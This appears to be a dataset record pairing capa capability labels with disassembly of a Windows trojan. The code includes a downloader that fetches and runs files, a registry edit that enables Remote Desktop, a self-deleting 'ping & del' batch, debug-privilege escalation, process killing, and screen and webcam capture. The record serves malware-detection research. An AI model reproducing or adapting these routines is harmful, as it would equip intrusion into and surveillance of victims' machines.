joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405540
Capabilities:
Create thread
Set file attributes
Start service
Terminate process

Disassembly:
push esi
push edi
mov esi, ecx
push 0
push esi
call fcn.00405040
push 0
lea eax, [esi + 0x164]
push 0
push eax
push 0x405260
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea ecx, [esi + 0x60]
push edi
push ecx
call fcn.004054d0
mov eax, dword [esi + 0x36c]
add esp, 8
test eax, eax
je 0x40559d
push edi
mov ecx, esi
call fcn.004059b0
mov edx, dword [0x415810]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.004057f0
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esi + 0x370]
add esp, 4
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x30
call edi
mov ecx, dword [esi + 0x370]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x30
call edi
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405720
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push 0x414edc
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x42573c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405757
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4058b0
push 0
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
push 0
push 0
push 0
push 0x409260
push 0
push 0
call ebx
push eax
call ebp
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.00405600
push 0
push 0
push 0
push 0x405b80
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebp
call edi
mov esi, eax
call edi
sub eax, esi
cmp eax, 0x1388
jae 0x4057a1
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
sub eax, esi
cmp eax, 0x1388
jb 0x4057d4
jmp 0x4057a1

Function at 0x405a50
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x405ab9
mov ecx, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
pop esi
add esp, 0x54
ret
Function at 0x406ee0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret
Function at 0x406f40
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1006c
call fcn.0040a380
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x406f6b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Agent]
mov dx, word [0x415a54]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push str._s_ld
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x406fc0
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x406fd2
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x406fe3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x415a40]
mov edx, dword [0x415a3c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x415a44]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10084]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x407046
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [esp + 0x10084]
push 0x4158f0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x40706f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40709a
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x4070f2
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x407110
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x4070bf
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1006c
ret
Function at 0x407140
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4147b0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x407162
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4071de
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x407200
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x40725d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x407261
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x407242
mov ebp, dword [esp + 0x18]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x4073b0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x408a90
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
stosb byte es:[edi], al
call esi
add esp, 4
lea eax, [esp + 0x110]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0x110]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push 0x415b50
push edx
stosb byte es:[edi], al
call fcn.00406ee0
lea eax, [esp + 0x18]
push 0x414760
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
lea edx, [esp + 0x228]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x124]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x234]
push ebp
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x28
test ebp, ebp
je 0x408b80
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x30
call esi
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x608
ret

Function at 0x408bb0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [esp + 0x110]
dec eax
je 0x408c53
dec eax
je 0x408c1f
dec eax
jne 0x408c7f
mov edx, dword [esp + 0x114]
lea ecx, [esp + 8]
push ecx
push str._s_system32
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov eax, 1
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x114]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [eax + 2], 0
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x408c90
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408da8
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408da8
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408da8
lea eax, [esp + 0x68]
push 0x415b6c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x408da8
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x408d67
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x408d89
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x408dc0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x408de5.5
xor ecx, ecx
mov cl, byte [eax + 0x408f80]
jmp dword [ecx*4 + 0x408f6c]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.00408c90
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.00408c90
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x41591c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.00406ee0
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00406f40
lea ecx, [esp + 0x6c]
push ecx
call fcn.00407140
add esp, 0x14
test eax, eax
je case.0x408de5.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41591c
push edx
stosb byte es:[edi], al
call fcn.00406ee0
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00406f40
lea edx, [esp + 0x6c]
push edx
call fcn.00407140
add esp, 0x14
test eax, eax
je case.0x408de5.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret
Function at 0x409510
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x418
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push ebp
push esi
push 0x30
call ebx
add esp, 4
lea eax, [esp + 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x24], 1
call ebx
add esp, 8
lea ecx, [esp + 0x20]
xor ebp, ebp
push ecx
push str.SeDebugPrivilege
push ebp
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x30], 2
call ebx
mov eax, dword [esp + 0x20]
add esp, 8
lea edx, [esp + 0x1c]
push ebp
push ebp
push 0x10
push edx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30
call ebx
add esp, 4
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
jne 0x4095bb
mov eax, dword [esp + 0x42c]
pop esi
mov dword [eax + 4], ebp
pop ebp
mov dword [eax], 0x25000004
pop ebx
add esp, 0x418
ret
push edi
push 0x30
mov dword [esp + 0xe0], 0x128
mov dword [esp + 0x208], 0x224
mov dword [esp + 0x14], ebp
call ebx
add esp, 4
lea ecx, [esp + 0xdc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
push 0x30
mov edi, eax
call ebx
add esp, 4
cmp edi, ebp
je 0x40970c
mov edx, dword [esp + 0x42c]
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov dword [esp + 0x14], edx
push 0x30
call ebx
mov eax, dword [esp + 0xe8]
add esp, 4
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov esi, eax
call ebx
add esp, 4
lea ecx, [esp + 0x204]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
push 0x30
call ebx
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call ebx
mov edx, dword [esp + 0xe8]
add esp, 4
xor eax, eax
mov ecx, 0x2b
lea edi, [esp + 0x30]
push edx
push eax
push 0x400
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov esi, eax
call ebx
push 0x30
call ebx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf8]
add esp, 8
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x38], eax
lea edx, [esp + 0x100]
push 0x20
lea eax, [esp + 0x40]
push edx
push eax
call ebp
lea ecx, [esp + 0x330]
push 0x80
lea edx, [esp + 0x6c]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, 0x2b
lea esi, [esp + 0x48]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
add eax, 0xac
add ecx, 0xac
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xdc]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40960d
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x430]
mov edx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov dword [eax], 0
mov dword [eax + 4], edx
pop ebx
add esp, 0x418
ret
Function at 0x409740
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
push 0x30
call ebx
mov esi, dword [esp + 0x18]
add esp, 4
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov edi, eax
call ebx
add esp, 4
test edi, edi
jne 0x40977f
mov dword [esi + 4], edi
mov dword [esi], 0x25000005
pop edi
pop esi
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x409799
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x4099a0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00409a10
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x4099d1
test ecx, ecx
jle 0x409a06
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x4099bb
pop edi
pop esi
ret 4
jbe 0x409a06
xor eax, eax
test ecx, ecx
jle 0x409a06
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x4099da
pop ebx
pop edi
pop esi
ret 4
Function at 0x409a10
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
mov ebx, ecx
push 0x30
call ebp
add esp, 4
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push 0x30
mov dword [esp + 0x1c], esi
call ebp
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
push 0x30
mov dword [esp + 0x18], edi
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push eax
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x30
mov dword [esp + 0x14], eax
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
add esp, 4
push 0xcc0020
push 0
push 0
push esi
push eax
push ecx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x30
call ebp
mov eax, dword [ebx + 0x18]
mov cx, word [ebx + 0x1c]
mov edx, dword [ebx + 0x14]
add esp, 4
mov dword [esp + 0x24], eax
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
mov word [esp + 0x2a], cx
mov ecx, 0xa
lea esi, [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x1c], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x28], 1
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebx + 0x10]
push 0
push eax
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
add edx, eax
mov eax, dword [ebx + 0x18]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x30
call ebp
add esp, 4
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push 0x30
call ebp
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call esi
push 0x30
call ebp
add esp, 4
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0x30
call ebp
push 0x30
call ebp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x409c40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push ebx
push ebx
mov dword [esi], 0x40fed0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.00409e70
test al, al
je 0x409d07
cmp byte [0x426424], bl
jne 0x409d07
push ebx
push ebx
mov al, 0x37
push ebx
push ebx
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
push ebx
mov al, 0x43
push ebx
push ebx
mov byte [esp + 0x2c], al
mov byte [esp + 0x32], al
push ebx
push connect
lea eax, [esp + 0x2c]
push 0x415d30
push eax
push ebx
mov byte [esp + 0x38], 0x23
mov byte [esp + 0x39], 0x33
mov byte [esp + 0x3a], 0x32
mov byte [esp + 0x3d], 0x30
mov byte [esp + 0x3e], bl
mov byte [esp + 0x41], 0x56
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x64
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x6f
mov byte [esp + 0x47], 0x61
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], bl
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x28]
push 0x50000000
push ecx
mov dword [esi + 0x10], eax
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
add esp, 0x14
ret